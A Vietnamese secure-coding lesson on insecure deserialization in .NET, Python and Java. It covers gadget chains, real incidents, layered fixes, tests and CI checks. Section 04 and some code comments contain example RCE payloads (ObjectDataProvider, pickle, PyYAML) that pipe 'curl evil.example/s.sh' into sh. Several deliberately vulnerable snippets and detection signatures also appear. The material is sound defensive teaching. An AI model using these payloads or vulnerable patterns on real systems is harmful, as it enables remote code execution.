SecLab

Insecure deserialization

A08CWE-502
01

Là gì

Deserialization không an toàn là khi ứng dụng khôi phục object từ dữ liệu không tin cậy. Vấn đề không phải là dữ liệu — mà là kẻ tấn công quyết định class nào được khởi tạo. Chọn đúng class có sẵn trong classpath là chạy được code, và không cần một lỗ hổng nào khác.

02

Vì sao bạn quan tâm

Mức liên quan: Bắt buộcKỳ vọng: L2

Điều làm topic này khác mọi topic khác: payload không chứa code. Nó chứa một chuỗi các lời gọi tới code bạn đã có — thư viện bạn cài, class framework sinh ra. Nên không có gì để grep, không có ký tự đặc biệt nào, và WAF không thấy gì ngoài base64.

Ba điều đáng nắm:

  • Nó là RCE, không phải rò dữ liệu. Không cần leo thang. Một ViewState không xác thực hay một BinaryFormatter.Deserialize là quyền chạy code trên server.
  • Bề mặt là classpath của bạn, và nó lớn hơn code bạn viết. Một gadget chain dùng ObjectDataProvider (WPF), Commons Collections (Java), hay pickle (Python) — bạn không viết chúng, nhưng chúng nằm trong process của bạn.
  • Thêm một dependency có thể tạo ra lỗ hổng mà không sửa dòng code nào. Đây là điểm phản trực giác nhất: gadget chain mới xuất hiện khi classpath thay đổi.

Và một sự thật quan trọng về .NET: BinaryFormatter đã bị xoá khỏi .NET 9. Microsoft dành nhiều năm để deprecate nó vì kết luận là "không thể dùng an toàn" — không phải "dùng cẩn thận thì được". Nếu bạn còn nó, việc cần làm không phải vá mà là thay.

JSON thì an toàn hơn hẳn — nhưng chỉ khi không bật type discriminator. TypeNameHandling.All trong Newtonsoft.Json đưa Json.NET vào đúng cùng một họ lỗi.

03

Cơ chế hoạt động

Cơ chế là một sự nhầm lẫn về ai quyết định kiểu. Deserializer đọc kiểu từ chính dữ liệu, nên dữ liệu quyết định code nào chạy.

Nguồn sơ đồ
flowchart TD    P["Payload base64<br/>chứa TÊN KIỂU + dữ liệu trường"] --> D{Deserializer}    D -->|"Kiểu đọc từ DỮ LIỆU<br/>BinaryFormatter, pickle,<br/>TypeNameHandling.All"| A["Khởi tạo kiểu kẻ tấn công CHỌN"]    A --> G["Gadget: kiểu đó có một setter,<br/>một callback deserialization,<br/>hay một finalizer chạy lệnh"]    G --> X["🔓 RCE — và payload không chứa code nào"]    D -->|"Kiểu do CODE quyết định<br/>System.Text.Json, JSON schema"| S["Chỉ khởi tạo đúng kiểu đã khai"]    S --> O["Trường lạ bị bỏ<br/>→ dữ liệu, không phải code"]

Điểm cốt lõi ở nhánh trái: payload không chứa code. Nó chứa tên một kiểu và giá trị các trường. Code chạy là code của bạn — chỉ là chạy theo một thứ tự và với tham số mà kẻ tấn công chọn.

Đây gọi là gadget chain, và nó là lý do topic này khó: bề mặt không phải code bạn viết mà là toàn bộ classpath. Ví dụ cụ thể trong .NET — ObjectDataProvider có property MethodNameObjectInstance; đặt chúng thành Start và một Process là RCE, và cả hai đều là property hoàn toàn hợp lệ của một class trong WPF.

Bảng mức rủi ro theo định dạng — đây là bảng cần nhớ:

Định dạngKiểu đến từ đâuMức
BinaryFormatter, SoapFormatter, NetDataContractSerializerdữ liệuĐã xoá khỏi .NET 9. Không dùng được an toàn
pickle, marshal, PyYAML yaml.loaddữ liệuRCE thẳng
Java native ObjectInputStreamdữ liệuRCE thẳng
PHP unserializedữ liệuRCE thẳng
Newtonsoft TypeNameHandling.All/Objectsdữ liệuRCE thẳng
System.Text.Json mặc địnhcodeAn toàn với RCE
System.Text.Json + [JsonDerivedType]code, có allowlistAn toàn — allowlist là hữu hạn
yaml.safe_loadcodeAn toàn

Và một cửa mà JSON vẫn hở: DoS. Một JSON lồng nhau 10.000 cấp làm hết stack, và một mảng khai [1,1,1,…] 100MB làm hết RAM — không cần gadget nào. Nên trần độ sâu và trần kích thước là bắt buộc kể cả với System.Text.Json.

Mô tả sơ đồ: Sơ đồ nhánh cho một payload base64 chứa tên kiểu và dữ liệu các trường. Nhánh sai dùng deserializer đọc kiểu từ chính dữ liệu — BinaryFormatter, pickle, hay TypeNameHandling.All — nên nó khởi tạo đúng kiểu mà kẻ tấn công chọn; kiểu đó là một gadget có setter, callback deserialization hay finalizer chạy lệnh, và kết quả là thực thi code từ xa dù payload không chứa dòng code nào. Nhánh đúng dùng deserializer mà kiểu do code quyết định, nên nó chỉ khởi tạo đúng kiểu đã khai và mọi trường lạ bị bỏ đi — dữ liệu vẫn là dữ liệu.

04

Ví dụ cụ thể

Một cookie "remember me" lưu preference của người dùng dưới dạng object đã serialize.

HTTP
# Payload sinh bằng ysoserial.net, gadget ObjectDataProvider. Nội dung là XML —# và trong đó không có một dòng code nào, chỉ có tên kiểu và giá trị property.GET /dashboard HTTP/1.1Cookie: prefs=AAEAAAD/////AQAAAAAAAAAMAgAAAF9NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0…
# Bên trong payload, đã giải mã (rút gọn):<ObjectDataProvider MethodName="Start">  <ObjectDataProvider.ObjectInstance>    <Process>      <Process.StartInfo>        <ProcessStartInfo FileName="cmd" Arguments="/c curl evil.example/s.sh | sh" />

Mọi kiểu và mọi property ở đây đều hợp lệ và có sẵn trong .NET. Payload chỉ nói "hãy dựng object này", và deserializer làm đúng thế.

HTTP
# Biến thể Python — pickle, và nó ngắn tới mức khó tin.POST /api/session/restore HTTP/1.1Content-Type: application/octet-stream (cos\nsystem\n(S'curl evil.example/s.sh | sh'\ntR.

Đó là toàn bộ payload pickle. __reduce__ của os.system được gọi trong lúc unpickle.

HTTP
# Sau khi vá: kiểu do CODE quyết định, nên payload chỉ là dữ liệu sai định dạng.GET /dashboard HTTP/1.1Cookie: prefs=AAEAAAD/////… HTTP/1.1 200 OK(cookie bị bỏ qua, preference mặc định được dùng, và một dòng log cảnh báo)
C#Cả hai dòng là RCE, và cả hai đều xuất hiện vì cần lưu state ở client.
// ── ① BinaryFormatter. Đã bị XOÁ khỏi .NET 9 vì Microsoft kết luận nó không//      thể dùng an toàn — không phải "dùng cẩn thận thì được".public UserPrefs? ReadPrefs(HttpRequest request){    if (!request.Cookies.TryGetValue("prefs", out var cookie)) return null;     var bytes = Convert.FromBase64String(cookie);    using var ms = new MemoryStream(bytes);     // ❌ Kiểu đọc từ DỮ LIỆU. Payload không chứa code — nó chứa tên một kiểu và giá    //    trị các property, và deserializer dựng đúng object đó. ObjectDataProvider    //    có MethodName + ObjectInstance, nên "Start" trên một Process là RCE.    var formatter = new BinaryFormatter();    return (UserPrefs)formatter.Deserialize(ms);} // ── ② Newtonsoft với TypeNameHandling. Cùng lỗi, cú pháp khác ──────────────public T? ReadCached<T>(string json){    var settings = new JsonSerializerSettings    {        // ❌ Nó đọc trường "$type" từ JSON và dựng kiểu đó. Người ta bật nó để        //    polymorphism hoạt động khi cache một interface — một nhu cầu hợp lý,        //    và cách giải quyết sai.        //        //    "Auto" cũng không an toàn hơn: nó vẫn đọc $type khi có.        TypeNameHandling = TypeNameHandling.All,    };     return JsonConvert.DeserializeObject<T>(json, settings);} // ── ③ Và ký payload rồi giữ nguyên formatter ───────────────────────────────public UserPrefs? ReadSignedPrefs(string cookie){    var parts = cookie.Split('.');    var payload = Convert.FromBase64String(parts[0]);     // ❌ Thứ tự ĐẢO: parse trước, verify sau. Parse là chỗ code chạy, nên MAC    //    không bảo vệ gì — gadget đã thực thi trước khi tới dòng kiểm.    var prefs = (UserPrefs)new BinaryFormatter().Deserialize(new MemoryStream(payload));     if (!VerifyMac(payload, parts[1])) return null;    return prefs;}
PythonPayload pickle dài 40 byte và nó là RCE. `yaml.load` cũng vậy.
import pickleimport yaml  @app.post("/api/session/restore")def restore():    # ❌ pickle KHÔNG có chế độ an toàn — tài liệu Python nói thẳng thế. Payload    #    b"cos\nsystem\n(S'curl evil|sh'\ntR." dài 40 byte và nó là RCE:    #    __reduce__ của os.system được gọi trong lúc unpickle.    state = pickle.loads(request.get_data())     session.update(state)    return {"ok": True}  @app.post("/api/config/import")def import_config():    # ❌ yaml.load KHÔNG an toàn: nó dựng object Python tuỳ ý.    #    !!python/object/apply:os.system ["curl evil|sh"] là RCE.    #    Loader=yaml.Loader cũng vậy — chỉ SafeLoader mới an toàn.    config = yaml.load(request.get_data(), Loader=yaml.Loader)     apply_config(config)    return {"ok": True}
05

Chuyện đã xảy ra

Equifax, 2017 — 147 triệu người. Điểm vào là CVE-2017-5638 trong Apache Struts: một OGNL expression trong header Content-Type được đánh giá thay vì coi là dữ liệu. Đó cùng một họ lỗi: dữ liệu không tin cậy quyết định code nào chạy. Bản vá đã có hai tháng trước khi Equifax bị khai thác — nên bài học không phải "hãy vá deserialization" mà là biết mình đang chạy phiên bản nào (xem topic dependencies-sbom).

CVE-2020-0688 — Microsoft Exchange, ViewState. Mọi bản Exchange dùng cùng một validationKey tĩnh, nên kẻ tấn công có một tài khoản bất kỳ ký được một ViewState hợp lệ — và ViewState là một object đã serialize. Kết quả là RCE với quyền SYSTEM. Bị khai thác hàng loạt, và nó cho thấy MAC trên payload chỉ an toàn khi khoá thật sự là bí mật.

Và quyết định của Microsoft về BinaryFormatter (2020–2024). Sau nhiều năm CVE, Microsoft kết luận nó không thể dùng an toàn và xoá nó khỏi .NET 9. Đáng nhớ vì đó là một trong rất ít trường hợp nhà cung cấp nói thẳng "API này không vá được" — nên nếu codebase của bạn còn nó, việc cần làm là thay, không phải cấu hình.

06

Cách phòng chống

Lớp 1

Đừng deserialize dữ liệu không tin cậy — dùng định dạng mà CODE quyết định kiểu

bắt buộc

Bảng ở khối 3 là toàn bộ bản vá: chọn một định dạng mà kiểu đến từ code, không từ dữ liệu.

  • .NET: System.Text.Json với mặc định. Nó deserialize vào đúng kiểu bạn khai, bỏ qua trường lạ, và không có cơ chế nào để dữ liệu chỉ định kiểu. Bỏ BinaryFormatter, SoapFormatter, NetDataContractSerializer, LosFormatter — chúng đã bị xoá khỏi .NET 9, nên đây là việc phải làm dù muốn hay không.
  • Newtonsoft.Json: TypeNameHandling = None (mặc định). Nếu code cần polymorphism, chuyển sang [JsonDerivedType] của System.Text.Json — nó là allowlist hữu hạn do bạn khai, không phải "kiểu nào cũng được".
  • Python: json hoặc yaml.safe_load. Không pickle, không marshal, không yaml.load. pickle không có chế độ an toàn nào — tài liệu Python nói thẳng thế.
  • Java: JSON qua Jackson với default typing TẮT. Nếu buộc phải dùng native serialization, ObjectInputFilter (JEP 290) với allowlist.

Và nguyên tắc mạnh nhất: nếu dữ liệu chỉ cần mang vài giá trị (preference, id, timestamp) thì đừng serialize object — dùng một DTO phẳng với các trường nguyên thuỷ. Object graph trong một cookie là một quyết định thiết kế, không phải một yêu cầu.

C# · Layer 1DTO phẳng, System.Text.Json, trần độ sâu, và verify TRƯỚC parse nếu vẫn cần MAC.
/// <summary>/// Preference của người dùng, dạng DTO PHẲNG với trường nguyên thuỷ.////// Đây là phần bản vá quan trọng nhất và nó không phải một dòng cấu hình: object/// graph trong một cookie là một QUYẾT ĐỊNH THIẾT KẾ, không phải một yêu cầu./// Nếu dữ liệu chỉ mang vài giá trị thì không cần serialize object nào, và lúc đó/// cả họ lỗ hổng này không có chỗ tồn tại./// </summary>public sealed record UserPrefs(string Theme, string Locale, bool CompactMode){    public static UserPrefs Default => new("system", "vi", false);} public sealed class PrefsCodec{    /// <summary>    /// Kiểu do CODE quyết định. System.Text.Json deserialize vào ĐÚNG kiểu đã khai,    /// bỏ qua trường lạ, và KHÔNG có cơ chế nào để dữ liệu chỉ định kiểu — nên    /// không có gadget nào tồn tại được.    ///    /// MaxDepth 32 là bắt buộc dù đã dùng System.Text.Json: chuyển sang JSON đóng    /// RCE và KHÔNG đóng DoS. JSON lồng 10.000 cấp làm hết stack, và    /// StackOverflowException trong .NET KHÔNG bắt được — process chết.    /// </summary>    private static readonly JsonSerializerOptions Options = new()    {        MaxDepth = 32,        PropertyNameCaseInsensitive = true,        // Trường lạ trong JSON bị BỎ theo mặc định. Đặt tường minh để người đọc sau        // biết đó là hành vi được chọn, không phải may mắn.        UnmappedMemberHandling = JsonUnmappedMemberHandling.Skip,    };     private readonly byte[] _key;              // 32 byte từ secret store    private readonly ILogger<PrefsCodec> _log;     public PrefsCodec(IOptions<PrefsOptions> opts, ILogger<PrefsCodec> log)    {        _key = Convert.FromBase64String(opts.Value.HmacKey);        if (_key.Length < 32)            throw new InvalidOperationException("Khoá HMAC phải ≥256 bit");        _log = log;    }     public string Write(UserPrefs prefs)    {        var json = JsonSerializer.SerializeToUtf8Bytes(prefs, Options);        var mac = HMACSHA256.HashData(_key, json);        return $"{WebEncoders.Base64UrlEncode(json)}.{WebEncoders.Base64UrlEncode(mac)}";    }     /// <summary>    /// Trả về Default thay vì throw khi cookie sai: một cookie hỏng là chuyện thường    /// (đổi khoá, cookie cũ), và một exception ở đây biến nó thành 500 cho người dùng thật.    /// </summary>    public UserPrefs Read(string? cookie)    {        if (string.IsNullOrEmpty(cookie)) return UserPrefs.Default;         var dot = cookie.IndexOf('.');        if (dot <= 0) return Reject("thiếu MAC");         byte[] json, mac;        try        {            json = WebEncoders.Base64UrlDecode(cookie[..dot]);            mac = WebEncoders.Base64UrlDecode(cookie[(dot + 1)..]);        }        catch (FormatException) { return Reject("base64 không hợp lệ"); }         // VERIFY TRƯỚC PARSE. Thứ tự này là toàn bộ điểm của lớp này: parse là chỗ        // code chạy, nên verify sau khi parse là verify sau khi đã bị khai thác.        //        // FixedTimeEquals, không phải SequenceEqual: một phép so thoát sớm rò từng        // byte của MAC qua thời gian phản hồi, và đủ để forge được.        var expected = HMACSHA256.HashData(_key, json);        if (!CryptographicOperations.FixedTimeEquals(mac, expected))            return Reject("MAC không khớp");         try        {            return JsonSerializer.Deserialize<UserPrefs>(json, Options) ?? UserPrefs.Default;        }        catch (JsonException) { return Reject("JSON không hợp lệ"); }    }     private UserPrefs Reject(string reason)    {        // Lớp 3 — tín hiệu độ nhiễu rất thấp: client của ta không tạo ra cookie sai MAC.        _log.LogWarning("Cookie prefs bị từ chối: {Reason}", reason);        return UserPrefs.Default;    }} // ── Polymorphism khi CODE cần nó thật ──────────────────────────────────────/// <summary>/// Khi thật sự cần polymorphic deserialization, đây là cách đúng: allowlist HỮU HẠN/// do ta khai, không phải "kiểu nào cũng được".////// Khác biệt cốt lõi so với TypeNameHandling: ở đây tập kiểu có thể dựng là ba, và/// cả ba do ta viết ra. Dữ liệu chọn TRONG ba cái đó, nó không đặt tên kiểu mới./// </summary>[JsonPolymorphic(TypeDiscriminatorPropertyName = "kind",                 UnknownDerivedTypeHandling = JsonUnknownDerivedTypeHandling.FailSerialization)][JsonDerivedType(typeof(EmailNotification), "email")][JsonDerivedType(typeof(SlackNotification), "slack")][JsonDerivedType(typeof(WebhookNotification), "webhook")]public abstract record Notification; public sealed record EmailNotification(string To, string Subject) : Notification;public sealed record SlackNotification(string Channel) : Notification;public sealed record WebhookNotification(string Url) : Notification; // ── Program.cs · trần ở tầng framework ─────────────────────────────────────// Kiểm kích thước trong handler là kiểm SAU KHI đã nhận hết vào RAM.builder.Services.Configure<KestrelServerOptions>(o => o.Limits.MaxRequestBodySize = 1024 * 1024);builder.Services.ConfigureHttpJsonOptions(o =>{    o.SerializerOptions.MaxDepth = 32;});
Python · Layer 1JSON + schema, `safe_load`, verify trước parse, và trần độ sâu cho cả hai.
import hashlibimport hmacimport jsonimport osfrom base64 import urlsafe_b64decode, urlsafe_b64encode import yamlfrom pydantic import BaseModel, Field MAX_BODY = 1 * 1024 * 1024MAX_DEPTH = 32 KEY = os.environ["SESSION_HMAC_KEY"].encode()if len(KEY) < 32:    raise RuntimeError("SESSION_HMAC_KEY phải ≥256 bit")  class SessionState(BaseModel):    """Schema PHẲNG với kiểu nguyên thuỷ.     Kiểu do CODE quyết định: pydantic dựng đúng class này và bỏ trường lạ. Không có    cơ chế nào để dữ liệu đặt tên một class khác, nên không có gadget nào tồn tại.    """    model_config = {"extra": "ignore"}     user_id: int = Field(ge=1)    theme: str = Field(pattern=r"^(light|dark|system)$")    locale: str = Field(pattern=r"^[a-z]{2}$")  def _depth(obj, level: int = 0) -> int:    """JSON an toàn với RCE, không an toàn với DoS: 10.000 cấp lồng làm hết stack.     Đếm độ sâu trước khi đưa vào pydantic — json.loads của Python có trần đệ quy    riêng nhưng nó ném RecursionError, và RecursionError ở giữa một request là 500.    """    if level > MAX_DEPTH:        raise ValueError("nested too deep")    if isinstance(obj, dict):        return max((_depth(v, level + 1) for v in obj.values()), default=level)    if isinstance(obj, list):        return max((_depth(v, level + 1) for v in obj), default=level)    return level  def read_session(cookie: str) -> SessionState | None:    payload_b64, _, mac_b64 = cookie.partition(".")    if not mac_b64:        return None     payload = urlsafe_b64decode(payload_b64 + "==")     # VERIFY TRƯỚC PARSE, và compare_digest (hằng thời gian) chứ không ==.    # Parse là chỗ code chạy — verify sau khi parse là verify sau khi bị khai thác.    expected = hmac.new(KEY, payload, hashlib.sha256).digest()    if not hmac.compare_digest(urlsafe_b64decode(mac_b64 + "=="), expected):        app.logger.warning("cookie session bị từ chối: MAC không khớp")        return None     try:        raw = json.loads(payload)        _depth(raw)        return SessionState.model_validate(raw)    except (ValueError, TypeError) as e:        app.logger.warning("cookie session bị từ chối: %s", e)        return None  def import_config(data: bytes):    if len(data) > MAX_BODY:        raise ValueError("body too large")     # safe_load: chỉ dựng kiểu YAML cơ bản (dict, list, str, int, bool, None).    # !!python/object/apply bị từ chối ở tầng parser.    #    # Lưu ý: safe_load VẪN có billion-laughs qua alias lồng nhau (&a / *a) — cùng    # cơ chế với XXE. Trần độ sâu bên dưới là để đóng nó.    raw = yaml.safe_load(data)    _depth(raw)    return ConfigSchema.model_validate(raw)
Lớp 1b

Đừng để client giữ state — hoặc ký nó, nhưng không thay được lớp 1

bắt buộc

Câu hỏi trước mọi câu hỏi khác: vì sao object này đi qua client?

Phần lớn trường hợp deserialization không an toàn tồn tại vì ai đó cần lưu state và cookie/hidden field là chỗ tiện nhất. Cách đúng là lưu ở server và cho client một id không đoán được: session id, orderId. Không có object nào đi qua thì không có gì để deserialize.

Khi buộc phải để client giữ (stateless, nhiều instance, không muốn Redis):

  • Ký bằng HMAC-SHA256 với khoá riêng cho mục đích đó, và verify trước khi parse. Thứ tự quan trọng: verify rồi mới parse, không phải parse rồi verify — parse là chỗ code chạy.
  • So MAC bằng hàm hằng thời gian (CryptographicOperations.FixedTimeEquals). Một phép so thoát sớm rò từng byte của MAC qua thời gian phản hồi.
  • Khoá phải thật sự bí mật và riêng cho mỗi deployment. CVE-2020-0688 là chính xác lỗi này: mọi bản Exchange dùng cùng một validationKey, nên MAC không bảo vệ ai.

MAC KHÔNG thay được lớp 1. Nó chặn kẻ tấn công bên ngoài; nó không chặn một payload từ một người dùng đã đăng nhập nếu bạn ký bằng khoá dùng chung, và nó không cứu bạn khi khoá rò. Ký một payload BinaryFormatter là làm cho một API không vá được trở nên khó khai thác hơn, không phải làm nó an toàn.

Lớp 1c

Trần độ sâu và trần kích thước — JSON an toàn với RCE, không an toàn với DoS

bắt buộc

Chuyển sang System.Text.Json đóng RCE và không đóng DoS. Ba trần, mỗi cái chặn một thứ:

  • Độ sâu: JsonSerializerOptions { MaxDepth = 32 }. System.Text.Json mặc định là 64, nhưng 32 đã hơn mọi cấu trúc thật. Một JSON lồng 10.000 cấp làm hết stack — và StackOverflowException trong .NET không bắt được, process chết.
  • Kích thước body: ở tầng framework/proxy, không trong handler. Kiểm trong handler là kiểm sau khi đã nhận hết vào RAM.
  • Số phần tử trong mảng và độ dài chuỗi: một mảng khai [1,1,1,…] 100MB parse hết vào một List<int> là 400MB heap. Trần này phải ở tầng validation của DTO.

Và với YAML: kể cả safe_load vẫn có billion-laughs qua alias (&a/*a lồng nhau) — cùng cơ chế với XXE ở topic xxe. Đặt trần độ sâu và tắt alias nếu thư viện cho phép.

Lớp 2

Giới hạn thiệt hại khi gadget chain thắng

Lớp này bắt đúng cái lớp 1 không thấy: một gadget chain mới trong một dependency mới, hoặc một deserializer trong một thư viện bạn không biết là có.

Cùng bộ biện pháp như topic command-injection lớp 2, và cùng lý do — hậu quả là RCE:

  • User không phải root, readOnlyRootFilesystem: true, drop mọi Linux capability, seccompProfile: RuntimeDefault.
  • Egress đóng: một RCE không gọi ra ngoài được thì không tải payload thứ hai về được và không đẩy dữ liệu ra được. Xem topic ssrf lớp 2 cho NetworkPolicy cụ thể.
  • Không có credential rộng trong process: nếu RCE lấy được connection string của một tài khoản DB superuser thì lớp 2 gần như vô nghĩa. Xem topic sql-injection lớp 2.

Và một biện pháp riêng của topic này: giảm classpath. Bề mặt gadget là toàn bộ thư viện trong process, nên bỏ một dependency không dùng là bỏ đi một tập gadget. Trong .NET: PublishTrimmed cho ứng dụng self-contained.

Lớp 3

Phát hiện: chữ ký của payload gadget rất đặc trưng

Đây là một trong ít họ lỗi mà phát hiện dựa trên chuỗi thật sự hoạt động, vì payload gadget mang những marker gần như không xuất hiện trong lưu lượng bình thường:

  • AAEAAAD///// — magic bytes của BinaryFormatter sau base64. Một request chứa nó là một lần thử, không phải một client cấu hình sai.
  • rO0AB — magic của Java serialization sau base64.
  • $type trong body JSON — chữ ký của TypeNameHandling đang bị dò.
  • __reduce__, os\nsystem, subprocess trong một body binary — pickle.
  • !!python/object/apply — PyYAML.

Alert theo lần xuất hiện đầu tiên, không theo tổng số: một lần là đủ để điều tra. Đây là lớp 3 vì nó không chặn gì — nhưng khác với phần lớn phát hiện bảo mật, nó gần như không có false positive.

Và một biện pháp phòng ngừa quan trọng hơn: theo dõi dependency. Gadget chain mới xuất hiện khi classpath đổi, nên dotnet list package --vulnerable trong CI và alert từ SBOM là biện pháp bắt được rủi ro trước khi nó thành lỗ hổng. Equifax là một lỗ hổng có bản vá từ hai tháng trước.

07

Kiểm chứng đã vá

1. Grep chặn merge — phép kiểm có tỉ lệ hiệu quả cao nhất của topic này, vì các API nguy hiểm có tên hữu hạn và không đổi:

Shell
# .NET — bốn cái này đã bị xoá khỏi .NET 9, nên đây cũng là phép kiểm sẵn sàng nâng cấpgrep -rnE 'BinaryFormatter|SoapFormatter|NetDataContractSerializer|LosFormatter' \  --include='*.cs' src/ && { echo "formatter không vá được"; exit 1; } # Newtonsoft polymorphic — TypeNameHandling khác None là RCEgrep -rnE 'TypeNameHandling *= *TypeNameHandling\.(All|Objects|Arrays|Auto)' \  --include='*.cs' src/ && { echo "TypeNameHandling bật"; exit 1; } # Python / YAMLgrep -rnE '\bpickle\.(load|loads)|\bmarshal\.|yaml\.load\((?!.*SafeLoader)' \  --include='*.py' src/ && { echo "deserializer không an toàn"; exit 1; }exit 0

2. Test khẳng định payload gadget bị TỪ CHỐI, không phải "không throw". Đây là điểm mà phần lớn test sai: khẳng định phải là tác dụng phụ không xảy ra (file marker không xuất hiện, process con không sinh ra), không phải một exception cụ thể. Xem tab csharp / test.

3. Test DoS riêng. Chuyển sang System.Text.Json đóng RCE và không đóng DoS:

Shell
# JSON lồng 10.000 cấp. Phải là 400, không phải process chết.python3 -c "print('['*10000 + ']'*10000)" > deep.jsoncurl -s -o /dev/null -w '%{http_code}\n' -X POST "$B/api/prefs" \  -H 'Content-Type: application/json' --data-binary @deep.json# 400 = đạt. Timeout hay 502 = process chết vì StackOverflow, và nó KHÔNG bắt được.

4. Kiểm dependency có gadget chain đã biết — đây là phép kiểm bắt được rủi ro trước khi nó thành lỗ hổng, và là phép kiểm Equifax thiếu:

Shell
dotnet list package --vulnerable --include-transitive 2>&1 | tee /tmp/vuln.txtgrep -q 'has the following vulnerable packages' /tmp/vuln.txt \  && { echo "có package có lỗ hổng đã biết"; exit 1; }exit 0

5. Nếu còn payload có MAC: kiểm thứ tự verify-trước-parse. Đây là phép kiểm mà không ai nghĩ tới: gửi một payload có MAC sai và khẳng định không có gì được parse. Nếu log cho thấy một lỗi deserialization thì thứ tự bị đảo — và parse là chỗ code chạy.

6. Kiểm khoá MAC không phải giá trị mặc định (CVE-2020-0688 là chính xác lỗi này):

Shell
# Khoá phải đến từ secret store, và phải khác nhau giữa các môi trường.test "$(printenv PREFS_HMAC_KEY | sha256sum | cut -c1-16)" \  != "$(echo -n 'change-me' | sha256sum | cut -c1-16)" \  || { echo "khoá HMAC còn là giá trị mặc định"; exit 1; }
C#Khẳng định TÁC DỤNG PHỤ không xảy ra, không phải "một exception được ném".
public class PrefsCodecTests{    private readonly PrefsCodec _codec = TestCodec.WithRandomKey();     /// <summary>    /// Phần lớn test deserialization khẳng định sai thứ: chúng kiểm "một exception    /// được ném", mà một bản vá blocklist cũng ném exception. Test này khẳng định    /// đúng thứ cần — TÁC DỤNG PHỤ không xảy ra:    ///    ///   • không có file marker nào được tạo    ///   • không có process con nào được sinh ra    ///   • và hàm trả về giá trị mặc định, tức là luồng vẫn chạy đúng    ///    /// Payload là gadget ObjectDataProvider thật, sinh bằng ysoserial.net.    /// </summary>    [Theory]    [InlineData(GadgetPayloads.BinaryFormatterObjectDataProvider)]    [InlineData(GadgetPayloads.BinaryFormatterTypeConfuseDelegate)]    [InlineData(GadgetPayloads.NewtonsoftTypeName)]    public void Gadget_payload_never_executes(string payload)    {        const string marker = "/tmp/seclab-deser-pwned";        if (File.Exists(marker)) File.Delete(marker);        var childrenBefore = Process.GetProcesses().Length;         var result = _codec.Read(payload);         Assert.False(File.Exists(marker), "gadget đã chạy");        Assert.Equal(UserPrefs.Default, result);        // Không sinh process con: một số gadget spawn cmd/sh thay vì ghi file.        Assert.InRange(Process.GetProcesses().Length, 0, childrenBefore + 2);    }     /// <summary>    /// DoS. Chuyển sang System.Text.Json đóng RCE và KHÔNG đóng DoS — nên đây là    /// một test riêng, không phải một biến thể của test trên.    ///    /// Nếu MaxDepth bị bỏ ra, test này không đỏ: nó làm test host CHẾT, vì    /// StackOverflowException trong .NET không bắt được. Đó cũng là lý do trần này    /// phải là cấu hình, không phải một try/catch.    /// </summary>    [Fact]    public void Deeply_nested_json_is_rejected_not_fatal()    {        var deep = new string('[', 10_000) + new string(']', 10_000);        var signed = TestCodec.SignRaw(_codec, Encoding.UTF8.GetBytes(deep));         var result = _codec.Read(signed);   // KHÔNG được làm chết process         Assert.Equal(UserPrefs.Default, result);    }     /// <summary>    /// Thứ tự verify-trước-parse. Đây là phép kiểm mà không ai nghĩ tới, và nó là    /// khác biệt giữa một MAC có nghĩa và một MAC trang trí.    ///    /// Payload là gadget, MAC là rác. Nếu code parse trước rồi verify sau thì gadget    /// đã chạy TRƯỚC KHI tới dòng kiểm MAC — và test này bắt được đúng điều đó.    /// </summary>    [Fact]    public void Mac_is_verified_before_the_payload_is_parsed()    {        const string marker = "/tmp/seclab-deser-pwned";        if (File.Exists(marker)) File.Delete(marker);         var gadget = WebEncoders.Base64UrlEncode(            Convert.FromBase64String(GadgetPayloads.BinaryFormatterObjectDataProvider));         var result = _codec.Read($"{gadget}.{WebEncoders.Base64UrlEncode("rác"u8.ToArray())}");         Assert.Equal(UserPrefs.Default, result);        Assert.False(File.Exists(marker), "payload được parse trước khi MAC bị từ chối");    }     /// <summary>    /// Cặp đôi: cookie hợp lệ vẫn đọc được. Không có nó thì một bản vá    /// "luôn trả Default" pass mọi test ở trên.    /// </summary>    [Fact]    public void Valid_cookie_round_trips()    {        var prefs = new UserPrefs("dark", "en", true);         Assert.Equal(prefs, _codec.Read(_codec.Write(prefs)));    }     /// <summary>    /// Sửa MỘT bit trong payload phải làm MAC hỏng. Test này bắt được lỗi    /// "MAC tính trên chuỗi khác với chuỗi được parse" — một lỗi im lặng.    /// </summary>    [Fact]    public void Tampered_payload_is_rejected()    {        var cookie = _codec.Write(new UserPrefs("dark", "en", true));        var dot = cookie.IndexOf('.');        var json = WebEncoders.Base64UrlDecode(cookie[..dot]);        json[0] ^= 0x01;                                     // đổi một bit         var tampered = $"{WebEncoders.Base64UrlEncode(json)}{cookie[dot..]}";         Assert.Equal(UserPrefs.Default, _codec.Read(tampered));    }     /// <summary>    /// Formatter không vá được không được quay lại. Grep trong CI cũng làm việc này,    /// nhưng một test thì chạy cả khi ai đó sửa file CI.    /// </summary>    [Fact]    public void No_unfixable_formatter_is_referenced()    {        var banned = new[]        {            "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter",            "System.Runtime.Serialization.NetDataContractSerializer",            "System.Web.UI.LosFormatter",        };         var referenced = typeof(PrefsCodec).Assembly.GetReferencedAssemblies()            .SelectMany(a => SafeGetTypes(Assembly.Load(a)))            .Select(t => t.FullName)            .Where(n => banned.Contains(n))            .ToList();         Assert.Empty(referenced);    }}
08

Sai lầm thường gặp

"Bản vá"Vì sao không đúng
Blocklist tên class nguy hiểmGadget chain mới xuất hiện mỗi khi classpath đổi. Danh sách của bạn là ảnh chụp của hôm nay
Ký payload rồi giữ BinaryFormatterLàm khó khai thác hơn, không làm an toàn. Khoá rò, hoặc khoá dùng chung (CVE-2020-0688), là hết
Verify MAC sau khi parseParse là chỗ code chạy. Thứ tự phải là verify → parse
So MAC bằng ==Thoát sớm nên rò từng byte qua thời gian. Cần FixedTimeEquals
Mã hoá payload thay vì kýMã hoá không xác thực. Kẻ tấn công có khoá (hoặc padding oracle) vẫn tạo được payload
TypeNameHandling.Auto "vì chỉ dùng nội bộ"Auto vẫn đọc $type từ dữ liệu. "Nội bộ" là một giả định về mạng, không phải một biện pháp
Chuyển sang JSON rồi coi là xongĐóng RCE, để nguyên DoS: JSON lồng 10.000 cấp làm chết process, và StackOverflowException không bắt được
yaml.load với Loader=yaml.LoaderVẫn không an toàn. Chỉ SafeLoader/safe_load mới an toàn
WAF chặn chuỗi AAEAAADĐúng là tín hiệu tốt để PHÁT HIỆN (lớp 3), nhưng nén/mã hoá lại là vòng qua được

